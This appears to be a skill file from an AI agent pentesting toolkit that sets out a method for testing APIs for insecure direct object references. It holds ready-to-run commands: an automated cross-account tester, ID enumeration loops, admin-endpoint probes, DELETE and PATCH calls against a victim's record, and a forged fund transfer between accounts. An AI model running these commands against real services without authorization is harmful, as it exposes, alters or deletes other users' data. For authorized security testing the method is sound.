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attack-idor-automation

DevOps & Security
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IDOR automated testing — cross-account access, horizontal/vertical privilege escalation, mass data exposure

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Source SKILL.md: https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-idor-automation/SKILL.md

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IDOR Automated Testing

Objective

Systematically test all API endpoints for Insecure Direct Object Reference vulnerabilities using two accounts with different privilege levels.

Testing Methodology

Phase 1: Set Up Two Accounts

  1. Account A (victim) — owns resources being tested
  2. Account B (attacker) — tries to access Account A's resources

Phase 2: Automated Cross-Account Testing

# Test endpoints from file
attack_script idor_tester \
  --token-a "VICTIM_JWT" \
  --token-b "ATTACKER_JWT" \
  --endpoints endpoints.txt \
  --json-output

# Test comma-separated endpoints
attack_script idor_tester \
  --token-a "VICTIM_JWT" \
  --token-b "ATTACKER_JWT" \
  --endpoints "https://TARGET/api/users/123,https://TARGET/api/orders/456,https://TARGET/api/profile/123" \
  --method GET

# Test write operations
attack_script idor_tester \
  --token-a "VICTIM_JWT" \
  --token-b "ATTACKER_JWT" \
  --endpoints endpoints.txt \
  --method PUT \
  --data '{"name":"pwned"}'

Phase 3: Manual Testing Patterns

Horizontal IDOR (same role, different user):

# Sequential IDs
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/1
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/2

# UUID guessing (if predictable)
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/UUID_OF_OTHER_USER

# Endpoint enumeration
for id in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code} " -H "Authorization: Bearer ATTACKER_TOKEN" "https://TARGET/api/orders/$id"
done

Vertical IDOR (low-priv accessing high-priv):

# User accessing admin endpoints
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/users
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/settings
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/internal/reports

Phase 4: HTTP Method Switching

# GET blocked but DELETE works
curl -X DELETE -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID

# GET blocked but PATCH works
curl -X PATCH -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID \
  -d '{"email":"attacker@evil.com"}'

Phase 5: Parameter Pollution

# Dual ID injection
curl "https://TARGET/api/profile?user_id=ATTACKER&user_id=VICTIM"

# Body override
curl -X POST https://TARGET/api/transfer \
  -H "Authorization: Bearer ATTACKER_TOKEN" \
  -d '{"from":"VICTIM_ID","to":"ATTACKER_ID","amount":1000}'

Phase 6: Response Comparison

# Compare responses between two auth contexts
attack_script response_diff "https://TARGET/api/users/VICTIM_ID" \
  --header-a "Authorization:Bearer VICTIM_TOKEN" \
  --header-b "Authorization:Bearer ATTACKER_TOKEN" \
  --json-output

What Constitutes a Finding

FindingSeverity
Read other user's PII (email, SSN, etc.)Critical (P1)
Modify other user's dataCritical (P1)
Delete other user's resourcesCritical (P1)
Access admin functionalityCritical (P1)
Read non-sensitive data of other userMedium (P3)

Evidence Requirements

  • Two different auth tokens used
  • Endpoint tested
  • Account A (victim) response as baseline
  • Account B (attacker) accessing Account A's resource
  • Data received proving cross-account access

Tools

  • attack_script idor_tester — automated cross-account testing
  • attack_script response_diff — response comparison
  • attack_script jwt_tamper — token manipulation for IDOR

References